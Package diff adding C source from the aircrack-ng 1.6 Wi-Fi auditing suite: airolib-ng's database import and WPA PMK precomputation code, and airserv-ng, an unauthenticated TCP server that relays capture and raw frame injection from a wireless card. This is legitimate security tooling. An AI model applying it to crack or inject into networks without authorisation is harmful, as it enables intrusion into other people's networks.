+	{
+		printf("Failed opening file: %s\n", hashdb->error);
+		close_free_cowpatty_hashdb(hashdb);
+		return (0);
+	}
+
+	// We need protection so concurrent transactions can't smash the
+	// ID-references
+	sql_exec(db, "BEGIN;");
+
+	sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",
+						  hashdb->ssid);
+	sql_exec(db, sql);
+	sqlite3_free(sql);
+
+	// since there is only one essid per file, we can determine it's ID now
+	sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'",
+						  hashdb->ssid);
+	essid_id = query_int(db, sql);
+	sqlite3_free(sql);
+	if (essid_id == 0)
+	{
+		close_free_cowpatty_hashdb(hashdb);
+		sql_exec(db, "ROLLBACK;");
+		printf("ESSID couldn't be inserted. I've given up.\n");
+		return (0);
+	}
+
+	sql = sqlite3_mprintf(
+		"CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id);
+	sql_exec(db, sql);
+	sqlite3_free(sql);
+	sql_prepare(
+		db, "INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)", &stmt, -1);
+
+	printf("Reading...\n");
+
+	while (!exit_airolib && (rec = read_next_cowpatty_record(hashdb)))
+	{
+		if (verify_passwd(rec->word) == 0)
+		{
+			sqlite3_bind_text(
+				stmt, 1, rec->word, strlen(rec->word), SQLITE_TRANSIENT);
+			sqlite3_bind_blob(
+				stmt, 2, &rec->pmk, sizeof(rec->pmk), SQLITE_TRANSIENT);
+			if (sql_step(stmt, -1) == SQLITE_DONE)
+			{
+				sqlite3_reset(stmt);
+			}
+			else
+			{
+				printf("Error while inserting record into database.\n");
+				sqlite3_finalize(stmt);
+				sql_exec(db, "ROLLBACK;");
+				close_free_cowpatty_hashdb(hashdb);
+				free(rec->word);
+				free(rec);
+				return (1);
+			}
+		}
+		else
+		{
+			fprintf(stdout,
+					"Invalid password %s will not be imported.\n",
+					rec->word);
+		}
+		if (rec)
+		{
+			free(rec->word);
+			free(rec);
+		}
+	}
+
+	// Finalize
+	sqlite3_finalize(stmt);
+
+	// Rollback if any error happened.
+	if (hashdb->error[0])
+	{
+		printf("Error: %s, rolling back\n", hashdb->error);
+		sql_exec(db, "ROLLBACK;");
+		close_free_cowpatty_hashdb(hashdb);
+		return (1);
+	}
+	close_free_cowpatty_hashdb(hashdb);
+
+	printf("Updating references...\n");
+	sql_exec(
+		db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;");
+
+	// TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR
+	// IGNORE
+	printf("Writing...\n");
+	sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) "
+						  "SELECT %i,passwd.passwd_id,import.pmk FROM import "
+						  "INNER JOIN passwd ON passwd.passwd = import.passwd;",
+						  essid_id);
+	sql_exec(db, sql);
+	sqlite3_free(sql);
+
+	sql_exec(db, "COMMIT;");
+
+	return (1);
+}
+
+static int import_ascii(sqlite3 * db, const char * mode, const char * filename)
+{
+	FILE * f = NULL;
+	sqlite3_stmt * stmt;
+	char buffer[63 + 1];
+	int imported = 0;
+	int ignored = 0;
+	int imode = 0;
+
+	if (strcasecmp(mode, IMPORT_ESSID) == 0)
+	{
+		imode = 0;
+	}
+	else if (strcasecmp(mode, IMPORT_PASSWD) == 0)
+	{
+		imode = 1;
+	}
+	else
+	{
+		printf("Specify either 'essid' or 'passwd' as import mode.\n");
+		return (0);
+	}
+
+	if (strcmp(filename, "-") == 0)
+	{
+		f = stdin;
+	}
+	else
+	{
+		f = fopen(filename, "r");
+	}
+	if (f == NULL)
+	{
+		printf("Could not open file/stream for reading.\n");
+		return (0);
+	}
+
+	char * sql = sqlite3_mprintf(
+		"INSERT OR IGNORE INTO %q (%q) VALUES (@v);", mode, mode);
+	sql_prepare(db, sql, &stmt, -1);
+	sqlite3_free(sql);
+
+	sql_exec(db, "BEGIN;");
+	printf("Reading file...\n");
+	while (!exit_airolib && fgets(buffer, sizeof(buffer), f) != 0)
+	{
+		int i = strlen(buffer);
+		if (buffer[i - 1] == '\n') buffer[--i] = '\0';
+		if (buffer[i - 1] == '\r') buffer[--i] = '\0';
+		imported++;
+		if ((imode == 0 && verify_essid(buffer) == 0)
+			|| (imode == 1 && verify_passwd(buffer) == 0))
+		{
+			sqlite3_bind_text(
+				stmt, 1, buffer, strlen(buffer), SQLITE_TRANSIENT);
+			if (sql_step(stmt, -1) == SQLITE_DONE)
+			{
+				sqlite3_reset(stmt);
+			}
+			else
+			{
+				printf("Error while inserting record into database.\n");
+				sql_exec(db, "ROLLBACK;");
+				sqlite3_finalize(stmt);
+				fclose(f);
+				return (1);
+			}
+		}
+		else
+		{
+			ignored++;
+		}
+		if (imported % 1000 == 0)
+		{
+			fprintf(stdout,
+					"%i lines read, %i invalid lines ignored.\r",
+					imported,
+					ignored);
+			fflush(stdout);
+		}
+	}
+	sqlite3_finalize(stmt);
+
+	if (!feof(f) && !exit_airolib)
+	{
+		printf("Error while reading file.\n");
+		sql_exec(db, "ROLLBACK;");
+		fclose(f);
+		return (1);
+	}
+	fclose(f);
+
+	printf("Writing...\n");
+	sql_exec(db, "COMMIT;");
+
+	printf("Done.\n");
+	return (1);
+}
+
+// sql function. takes ESSID and PASSWD, gives PMK
+static void
+sql_calcpmk(sqlite3_context * context, int argc, sqlite3_value ** values)
+{
+	REQUIRE(context != NULL);
+	REQUIRE(values != NULL);
+
+	unsigned char pmk[40];
+	char * passwd = (char *) sqlite3_value_blob(values[1]);
+	char * essid = (char *) sqlite3_value_blob(values[0]);
+	if (argc < 2 || passwd == 0 || essid == 0)
+	{
+		sqlite3_result_error(
+			context, "SQL function PMK() called with invalid arguments.\n", -1);
+		return;
+	}
+	calc_pmk(passwd, essid, pmk);
+	sqlite3_result_blob(context, pmk, 32, SQLITE_TRANSIENT);
+}
+
+#ifdef HAVE_REGEXP
+static void
+sqlite_regexp(sqlite3_context * context, int argc, sqlite3_value ** values)
+{
+	REQUIRE(context != NULL);
+	REQUIRE(values != NULL);
+
+	int ret;
+	regex_t regex;
+	char * reg = (char *) sqlite3_value_text(values[0]);
+	char * text = (char *) sqlite3_value_text(values[1]);
+
+	if (argc != 2 || reg == 0 || text == 0)
+	{
+		sqlite3_result_error(
+			context,
+			"SQL function regexp() called with invalid arguments.\n",
+			-1);
+		return;
+	}
+
+	ret = regcomp(&regex, reg, REG_EXTENDED | REG_NOSUB);
+	if (ret != 0)
+	{
+		sqlite3_result_error(context, "error compiling regular expression", -1);
+		return;
+	}
+
+	ret = regexec(&regex, text, 0, NULL, 0);
+	regfree(&regex);
+
+	sqlite3_result_int(context, (ret != REG_NOMATCH));
+}
+#endif
+
+static int initDataBase(const char * filename, sqlite3 ** db)
+{
+	REQUIRE(filename != NULL);
+	REQUIRE(db != NULL);
+
+	int rc = sqlite3_open(filename, &(*db));
+	if (rc != SQLITE_OK)
+	{
+		sql_error(*db);
+		sqlite3_close(*db);
+
+		// May be useful later
+		return (rc);
+	}
+
+	sql_exec(*db,
+			 "create table essid (essid_id integer primary key "
+			 "autoincrement, essid text, prio integer default 64);");
+	sql_exec(*db,
+			 "create table passwd (passwd_id integer primary key "
+			 "autoincrement, passwd text);");
+	sql_exec(*db,
+			 "create table pmk (pmk_id integer primary key autoincrement, "
+			 "passwd_id int, essid_id int, pmk blob);");
+	sql_exec(*db,
+			 "create table workbench (wb_id integer primary key "
+			 "autoincrement, essid_id integer, passwd_id integer, lockid "
+			 "integer default 0);");
+	sql_exec(*db, "create index lock_lockid on workbench (lockid);");
+	sql_exec(*db, "create index pmk_pw on pmk (passwd_id);");
+	sql_exec(*db, "create unique index essid_u on essid (essid);");
+	sql_exec(*db, "create unique index passwd_u on passwd (passwd);");
+	sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);");
+	sql_exec(*db,
+			 "create unique index wb_u on workbench (essid_id,passwd_id);");
+	sql_exec(*db,
+			 "CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE "
+			 "FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM "
+			 "workbench WHERE workbench.essid_id = OLD.essid_id; END;");
+	sql_exec(*db,
+			 "CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE "
+			 "FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM "
+			 "workbench WHERE workbench.passwd_id = OLD.passwd_id; END;");
+
+#ifdef SQL_DEBUG
+	sql_exec(*db, "begin;");
+	sql_exec(*db, "insert into essid (essid,prio) values ('e',random())");
+	sql_exec(*db, "insert into passwd (passwd) values ('p')");
+	sql_exec(*db,
+			 "insert into essid (essid,prio) select essid||'a',random() "
+			 "from essid;");
+	sql_exec(*db,
+			 "insert into essid (essid,prio) select essid||'b',random() "
+			 "from essid;");
+	sql_exec(*db,
+			 "insert into essid (essid,prio) select essid||'c',random() "
+			 "from essid;");
+	sql_exec(*db,
+			 "insert into essid (essid,prio) select essid||'d',random() "
+			 "from essid;");
+	sql_exec(*db,
+			 "insert into passwd (passwd) select passwd||'a' from passwd;");
+	sql_exec(*db,
+			 "insert into passwd (passwd) select passwd||'b' from passwd;");
+	sql_exec(*db,
+			 "insert into passwd (passwd) select passwd||'c' from passwd;");
+	sql_exec(*db,
+			 "insert into passwd (passwd) select passwd||'d' from passwd;");
+	sql_exec(*db,
+			 "insert into passwd (passwd) select passwd||'e' from passwd;");
+	sql_exec(*db,
+			 "insert into pmk (essid_id,passwd_id) select "
+			 "essid_id,passwd_id from essid,passwd limit 1000000;");
+	sql_exec(*db, "commit;");
+#endif
+
+	sqlite3_close(*db);
+	printf("Database <%s> successfully created\n", filename);
+	return (0);
+}
+
+static int
+check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly)
+{
+	REQUIRE(filename != NULL);
+
+	struct stat dbfile;
+	int rc;
+	int accessflags = R_OK | W_OK;
+	if (readonly) accessflags = R_OK;
+
+	// Check if DB exist. If it does not, initialize it
+	if (access(filename, accessflags))
+	{
+		printf("Database <%s> does not already exist, ", filename);
+		if (can_create)
+		{
+			printf("creating it...\n");
+
+			rc = initDataBase(filename, db);
+
+			if (rc)
+			{
+				printf("Error initializing database (return code: %d), "
+					   "exiting...\n",
+					   rc);
+				return (1);
+			}
+		}
+		else
+		{
+			printf("exiting ...\n");
+			return (1);
+		}
+	}
+	else
+	{
+		if (stat(filename, &dbfile))
+		{
+			perror("stat()");
+			return (1);
+		}
+		if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0)
+		{
+			printf("\"%s\" does not appear to be a file.\n", filename);
+			return (1);
+		}
+	}
+
+	rc = sqlite3_open(filename, &(*db));
+	if (rc)
+	{
+		sql_error(*db);
+		sqlite3_close(*db);
+		return (1);
+	}
+
+	// TODO: Sanity check: Table definitions, index
+
+	// register new functions to be used in SQL statements
+	if (sqlite3_create_function(
+			*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk, 0, 0)
+		!= SQLITE_OK)
+	{
+		printf("Failed creating PMK function.\n");
+		sql_error(*db);
+		sqlite3_close(*db);
+		return (1);
+	}
+	if (sqlite3_create_function(
+			*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid, 0, 0)
+		!= SQLITE_OK)
+	{
+		printf("Failed creating VERIFY_ESSID function.\n");
+		sql_error(*db);
+		sqlite3_close(*db);
+		return (1);
+	}
+	if (sqlite3_create_function(
+			*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd, 0, 0)
+		!= SQLITE_OK)
+	{
+		printf("Failed creating VERIFY_PASSWD function.\n");
+		sql_error(*db);
+		sqlite3_close(*db);
+		return (1);
+	}
+#ifdef HAVE_REGEXP
+	if (sqlite3_create_function(
+			*db, "regexp", 2, SQLITE_ANY, 0, &sqlite_regexp, 0, 0)
+		!= SQLITE_OK)
+	{
+		printf("Failed creating regexp() handler.\n");
+		sql_error(*db);
+		sqlite3_close(*db);
+		return (1);
+	}
+#endif
+
+	return (0);
+}
+
+int main(int argc, char ** argv)
+{
+	sqlite3 * db;
+	int option_index, option;
+	exit_airolib = 0;
+
+	if (argc < 3)
+	{
+		print_help(NULL);
+		return (EXIT_FAILURE);
+	}
+
+	db = NULL;
+
+	option_index = 0;
+
+	static const struct option long_options[]
+		= {{"batch", 0, 0, 'b'},
+		   {"clean", 2, 0, 'c'},
+		   {"export", 2, 0, 'e'},
+		   {"h", 0, 0, 'h'},
+		   {"help", 0, 0, 'h'},
+		   {"import", 2, 0, 'i'},
+		   {"sql", 1, 0, 's'},
+		   {"stats", 2, 0, 't'},
+		   {"statistics", 2, 0, 't'},
+		   {"verify", 2, 0, 'v'},
+		   {"vacuum", 2, 0, 'c'},
+		   // TODO: implement options like '-e essid' to limit
+		   //       operations to a certain essid where possible
+		   {"essid", 1, 0, 'd'},
+		   {0, 0, 0, 0}};
+
+	ac_crypto_init();
+
+	signal(SIGINT, sighandler);
+	signal(SIGQUIT, sighandler);
+	signal(SIGTERM, sighandler);
+
+	option = getopt_long(
+		argc, argv, "bc:d:e:hi:s:t:v:", long_options, &option_index);
+
+	if (option > 0)
+	{
+		switch (option)
+		{
+			case 'b':
+				// Batch
+				if (check_for_db(&db, argv[1], 0, 1))
+				{
+					return (EXIT_FAILURE);
+				}
+				batch_process(db);
+
+				break;
+
+			case 'c':
+				// Clean
+				if (check_for_db(&db, argv[1], 0, 0))
+				{
+					return (EXIT_FAILURE);
+				}
+				vacuum(db,
+					   (argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
+
+				break;
+
+			case 'e':
+
+				if (argc < 4)
+				{
+					print_help("You must specify an export format.");
+				}
+				else if (strcmp(argv[3], EXPORT_COWPATTY) == 0)
+				{
+					if (argc < 6)
+					{
+						print_help("You must specify essid and output file.");
+					}
+					else
+					{
+						// Export
+						if (check_for_db(&db, argv[1], 0, 0))
+						{
+							return (EXIT_FAILURE);
+						}
+						export_cowpatty(db, argv[4], argv[5]);
+					}
+				}
+				else
+				{
+					print_help("Invalid export format specified.");
+				}
+
+				break;
+
+			case ':':
+			case '?':
+			case 'h':
+				// Show help
+				print_help(NULL);
+
+				break;
+
+			case 'i':
+				// Import
+
+				if (argc < 5)
+				{
+					print_help("You must specify an import format and a file.");
+				}
+				else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0)
+				{
+					if (check_for_db(&db, argv[1], 1, 0))
+					{
+						return (EXIT_FAILURE);
+					}
+					import_cowpatty(db, argv[4]);
+				}
+				else if (strcasecmp(argv[3], IMPORT_ESSID) == 0)
+				{
+					if (check_for_db(&db, argv[1], 1, 0))
+					{
+						return (EXIT_FAILURE);
+					}
+					import_ascii(db, IMPORT_ESSID, argv[4]);
+				}
+				else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0
+						 || strcasecmp(argv[3], IMPORT_PASSWD_ALT) == 0)
+				{
+					if (check_for_db(&db, argv[1], 1, 0))
+					{
+						return (EXIT_FAILURE);
+					}
+					import_ascii(db, IMPORT_PASSWD, argv[4]);
+				}
+				else
+				{
+					print_help("Invalid import format specified.");
+					return (EXIT_FAILURE);
+				}
+				break;
+			case 's':
+				// SQL
+
+				// We don't know if the SQL order is changing the file or not
+				if (check_for_db(&db, argv[1], 0, 0))
+				{
+					return (EXIT_FAILURE);
+				}
+
+				sql_stdout(db, argv[3], 0);
+
+				break;
+
+			case 't':
+				// Stats
+				if (check_for_db(&db, argv[1], 0, 1))
+				{
+					return (EXIT_FAILURE);
+				}
+
+				show_stats(db, (argv[3] == NULL) ? 0 : 1);
+
+				break;
+
+			case 'v':
+				// Verify
+				if (check_for_db(
+						&db,
+						argv[1],
+						0,
+						(argc > 3 && strcasecmp(argv[3], "all") == 0) ? 0 : 1))
+				{
+					return (EXIT_FAILURE);
+				}
+
+				verify(db,
+					   (argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
+				break;
+
+			default:
+				print_help("Invalid option");
+				break;
+		}
+	}
+	else
+	{
+		print_help(NULL);
+	}
+
+	if (db) sqlite3_close(db);
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/airserv-ng Added

aircrack-ng-1.6.tar.gz/src/airserv-ng/airserv-ng.c Added

@@ -0,0 +1,569 @@
+/*
+  *  Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
+  *
+  *  Copyright (c) 2007-2009  Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  Advanced WEP attacks developed by KoreK
+  *  WPA-PSK  attack code developed by Joshua Wright
+  *  SHA1 MMX assembly code written by Simon Marechal
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <err.h>
+#include <string.h>
+#include <stdarg.h>
+#include <signal.h>
+
+#ifdef __NetBSD__
+#include <sys/select.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/osdep/network.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/version.h"
+
+static void sighandler(int signum)
+{
+	if (signum == SIGPIPE) printf("broken pipe!\n");
+}
+
+struct client
+{
+	int c_s;
+	char c_ip[16];
+
+	struct client * c_next;
+	struct client * c_prev;
+};
+
+static struct sstate
+{
+	int ss_s;
+	struct wif * ss_wi;
+	struct client ss_clients;
+	int ss_level;
+} _ss;
+
+static struct sstate * get_ss(void) { return &_ss; }
+
+static void usage(char * p)
+{
+	UNUSED_PARAM(p);
+
+	char * version_info
+		= getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: airserv-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h         : This help screen\n"
+		   "       -p  <port> : TCP port to listen on (default:666)\n"
+		   "       -d <iface> : Wifi interface to use\n"
+		   "       -c  <chan> : Channel to use\n"
+		   "       -v <level> : Debug level (1 to 3; default: 1)\n"
+		   "\n",
+		   version_info);
+	free(version_info);
+	exit(EXIT_FAILURE);
+}
+
+static void debug(struct sstate * ss, struct client * c, int l, char * fmt, ...)
+{
+	REQUIRE(ss != NULL);
+	REQUIRE(c != NULL);
+
+	va_list ap;
+
+	if (ss->ss_level < l) return;
+
+	printf("[%s] ", c->c_ip);
+	va_start(ap, fmt);
+	vprintf(fmt, ap);
+	va_end(ap);
+}
+
+static void client_add(struct sstate * ss, int s, struct sockaddr_in * s_in)
+{
+	REQUIRE(ss != NULL);
+	REQUIRE(s_in != NULL);
+
+	struct client * c;
+
+	if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()");
+
+	c->c_s = s;
+	strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip) - 1);
+	printf("Connect from %s\n", c->c_ip);
+
+	c->c_prev = &ss->ss_clients;
+	c->c_next = ss->ss_clients.c_next;
+	c->c_next->c_prev = c;
+	ss->ss_clients.c_next = c;
+}
+
+static void client_kill(struct client * c)
+{
+	REQUIRE(c != NULL);
+
+	c->c_prev->c_next = c->c_next;
+	c->c_next->c_prev = c->c_prev;
+	printf("Death from %s\n", c->c_ip);
+	free(c);
+	c = NULL;
+}
+
+static void card_open(struct sstate * ss, char * dev)
+{
+	REQUIRE(ss != NULL);
+
+	struct wif * wi = wi_open(dev);
+
+	if (!wi) err(1, "wi_open()");
+	ss->ss_wi = wi;
+}
+
+static int card_set_chan(struct sstate * ss, int chan)
+{
+	return (wi_set_channel(ss->ss_wi, chan));
+}
+
+static int card_get_chan(struct sstate * ss)
+{
+	return (wi_get_channel(ss->ss_wi));
+}
+
+static int card_set_rate(struct sstate * ss, int rate)
+{
+	return (wi_set_rate(ss->ss_wi, rate));
+}
+
+static int card_get_rate(struct sstate * ss)
+{
+	return (wi_get_rate(ss->ss_wi));
+}
+
+static int card_get_monitor(struct sstate * ss)
+{
+	return (wi_get_monitor(ss->ss_wi));
+}
+
+static int
+card_read(struct sstate * ss, void * buf, int len, struct rx_info * ri)
+{
+	int rc;
+
+	if ((rc = wi_read(ss->ss_wi, NULL, NULL, buf, len, ri)) == -1)
+		err(1, "wi_read()");
+
+	return (rc);
+}
+
+static int
+card_write(struct sstate * ss, void * buf, int len, struct tx_info * ti)
+{
+	return (wi_write(ss->ss_wi, NULL, LINKTYPE_IEEE802_11, buf, len, ti));
+}
+
+static int card_get_mac(struct sstate * ss, unsigned char * mac)
+{
+	return (wi_get_mac(ss->ss_wi, mac));
+}
+
+static void open_sock(struct sstate * ss, int port)
+{
+	REQUIRE(ss != NULL);
+
+	int s;
+	struct sockaddr_in s_in;
+	int one = 1;
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	s_in.sin_addr.s_addr = INADDR_ANY;
+
+	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		err(1, "socket()");
+
+	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1)
+		err(1, "setsockopt()");
+
+	if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		err(1, "bind()");
+
+	if (listen(s, 5) == -1) err(1, "listen()");
+
+	ss->ss_s = s;
+}
+
+static void
+open_card_and_sock(struct sstate * ss, char * dev, int port, int chan)
+{
+	printf("Opening card %s\n", dev);
+	card_open(ss, dev);
+	printf("Setting chan %d\n", chan);
+	if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()");
+
+	printf("Opening sock port %d\n", port);
+	open_sock(ss, port);
+
+	printf("Serving %s chan %d on port %d\n", dev, chan, port);
+}
+
+static void net_send_kill(struct client * c, int cmd, void * data, int len)
+{
+	if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c);
+}
+
+static void handle_set_chan(struct sstate * ss,
+							struct client * c,
+							unsigned char * buf,
+							int len)
+{
+	uint32_t chan;
+	uint32_t rc;
+
+	if (len != sizeof(chan))
+	{
+		client_kill(c);
+		return;
+	}
+
+	chan = *((uint32_t *) buf);
+	chan = ntohl(chan);
+
+	debug(ss, c, 2, "Got setchan %d\n", chan);
+	rc = card_set_chan(ss, chan);
+
+	rc = htonl(rc);
+	net_send_kill(c, NET_RC, &rc, sizeof(rc));
+}
+
+static void handle_set_rate(struct sstate * ss,
+							struct client * c,
+							unsigned char * buf,
+							int len)
+{
+	uint32_t rate;
+	uint32_t rc;
+
+	if (len != sizeof(rate))
+	{
+		client_kill(c);
+		return;
+	}
+
+	rate = *((uint32_t *) buf);
+	rate = ntohl(rate);
+
+	debug(ss, c, 2, "Got setrate %d\n", rate);
+	rc = card_set_rate(ss, rate);
+
+	rc = htonl(rc);
+	net_send_kill(c, NET_RC, &rc, sizeof(rc));
+}
+
+static void handle_get_mac(struct sstate * ss, struct client * c)
+{
+	unsigned char mac[6];
+	int rc;
+
+	rc = card_get_mac(ss, mac);
+	if (rc == -1)
+	{
+		uint32_t x = htonl(rc);
+
+		net_send_kill(c, NET_RC, &x, sizeof(x));
+	}
+	else
+		net_send_kill(c, NET_MAC, mac, 6);
+}
+
+static void handle_get_chan(struct sstate * ss, struct client * c)
+{
+	int rc = card_get_chan(ss);
+	uint32_t chan;
+
+	chan = htonl(rc);
+
+	net_send_kill(c, NET_RC, &chan, sizeof(chan));
+}
+
+static void handle_get_rate(struct sstate * ss, struct client * c)
+{
+	int rc = card_get_rate(ss);
+	uint32_t rate;
+
+	rate = htonl(rc);
+
+	net_send_kill(c, NET_RC, &rate, sizeof(rate));
+}
+
+static void handle_get_monitor(struct sstate * ss, struct client * c)
+{
+	int rc = card_get_monitor(ss);
+	uint32_t x;
+
+	x = htonl(rc);
+
+	net_send_kill(c, NET_RC, &x, sizeof(x));
+}
+
+static void
+handle_write(struct sstate * ss, struct client * c, void * buf, int len)
+{
+	struct tx_info * ti = buf;
+	void * hdr = (ti + 1);
+	int rc;
+	uint32_t x;
+
+	len -= sizeof(*ti);
+
+	debug(ss, c, 2, "Relaying %d bytes packet from client\n", len);
+	rc = card_write(ss, hdr, len, ti);
+	x = htonl(rc);
+
+	net_send_kill(c, NET_RC, &x, sizeof(x));
+}
+
+static void handle_client(struct sstate * ss, struct client * c)
+{
+	unsigned char buf[2048];
+	int len = sizeof(buf);
+	int cmd;
+
+	cmd = net_get(c->c_s, buf, &len);
+	if (cmd == -1)
+	{
+		debug(ss, c, 2, "handle_client: net_get()\n");
+		client_kill(c);
+		return;
+	}
+
+	/* figure out command */
+	switch (cmd)
+	{
+		case NET_SET_CHAN:
+			handle_set_chan(ss, c, buf, len);
+			break;
+
+		case NET_SET_RATE:
+			handle_set_rate(ss, c, buf, len);
+			break;
+
+		case NET_GET_MAC:
+			handle_get_mac(ss, c);
+			break;
+
+		case NET_GET_CHAN:
+			handle_get_chan(ss, c);
+			break;
+
+		case NET_GET_RATE:
+			handle_get_rate(ss, c);
+			break;
+
+		case NET_GET_MONITOR:
+			handle_get_monitor(ss, c);
+			break;
+
+		case NET_WRITE:
+			handle_write(ss, c, buf, len);
+			break;
+
+		default:
+			printf("Unknown request %d\n", cmd);
+			client_kill(c);
+			break;
+	}
+}
+
+static void handle_server(struct sstate * ss)
+{
+	int dude;
+	struct sockaddr_in s_in;
+	socklen_t len;
+
+	len = sizeof(s_in);
+	if ((dude = accept(ss->ss_s, (struct sockaddr *) &s_in, &len)) == -1)
+		err(1, "accept()");
+
+	client_add(ss, dude, &s_in);
+}
+
+static void client_send_packet(struct sstate * ss,
+							   struct client * c,
+							   unsigned char * buf,
+							   int rd)
+{
+	/* XXX check if TX will block */
+	if (rd == -1)
+	{
+		uint32_t rc = htonl(rd);
+		debug(ss, c, 3, "Sending result code %d to client\n", rd);
+
+		net_send_kill(c, NET_RC, &rc, sizeof(rc));
+	}
+	else
+	{
+		debug(ss, c, 3, "Sending %d bytes packet to client\n", rd);
+
+		net_send_kill(c, NET_PACKET, buf, rd);
+	}
+}
+
+static void handle_card(struct sstate * ss)
+{
+	unsigned char buf[2048];
+	int rd;
+	struct rx_info * ri = (struct rx_info *) buf;
+	struct client * c;
+	struct client * next_c;
+
+	rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri);
+	if (rd >= 0) rd += sizeof(*ri);
+
+	ri->ri_mactime = __cpu_to_be64(ri->ri_mactime);
+	ri->ri_power = __cpu_to_be32(ri->ri_power);
+	ri->ri_noise = __cpu_to_be32(ri->ri_noise);
+	ri->ri_channel = __cpu_to_be32(ri->ri_channel);
+	ri->ri_rate = __cpu_to_be32(ri->ri_rate);
+	ri->ri_antenna = __cpu_to_be32(ri->ri_antenna);
+	ri->ri_freq = __cpu_to_be32(ri->ri_freq);
+
+	c = ss->ss_clients.c_next;
+	while (c != &ss->ss_clients)
+	{
+		next_c = c->c_next;
+		client_send_packet(ss, c, buf, rd);
+		c = next_c;
+	}
+}
+
+static void serv(struct sstate * ss, char * dev, int port, int chan)
+{
+	int max;
+	fd_set fds;
+	struct client * c;
+	struct client * next;
+	int card_fd;
+
+	open_card_and_sock(ss, dev, port, chan);
+	card_fd = wi_fd(ss->ss_wi);
+
+	while (1)
+	{
+		/* server */
+		max = ss->ss_s;
+		FD_ZERO(&fds);
+		FD_SET(max, &fds);
+
+		/* clients */
+		c = ss->ss_clients.c_next;
+		while (c != &ss->ss_clients)
+		{
+			FD_SET(c->c_s, &fds);
+			if (c->c_s > max) max = c->c_s;
+
+			c = c->c_next;
+		}
+
+		/* card */
+		FD_SET(card_fd, &fds);
+		if (card_fd > max) max = card_fd;
+
+		if (select(max + 1, &fds, NULL, NULL, NULL) == -1) err(1, "select()");
+
+		/* handle clients */
+		c = ss->ss_clients.c_next;
+		while (c != &ss->ss_clients)
+		{
+			next = c->c_next;
+			if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c);
+
+			c = next;
+		}
+
+		/* handle server */
+		if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss);
+
+		if (FD_ISSET(card_fd, &fds)) handle_card(ss);
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	char * device = NULL;
+	int port = 666;
+	int ch;
+	int chan = 1;
+	struct sstate * ss = get_ss();
+
+	memset(ss, 0, sizeof(*ss));
+	ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients;
+
+	while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1)
+	{
+		switch (ch)
+		{
+			case 'p':
+				port = atoi(optarg);
+				break;
+
+			case 'd':
+				device = optarg;
+				break;
+
+			case 'v':
+				ss->ss_level = atoi(optarg);
+				break;
+
+			case 'c':
+				chan = atoi(optarg);
+				break;
+
+			case 'h':
+			default:
+				usage(argv[0]);
+				break;
+		}
+	}
+
+	signal(SIGPIPE, sighandler);
+
+	if (!device || chan <= 0) usage(argv[0]);
+
+	serv(ss, device, port, chan);
+
+	exit(EXIT_SUCCESS);
+}
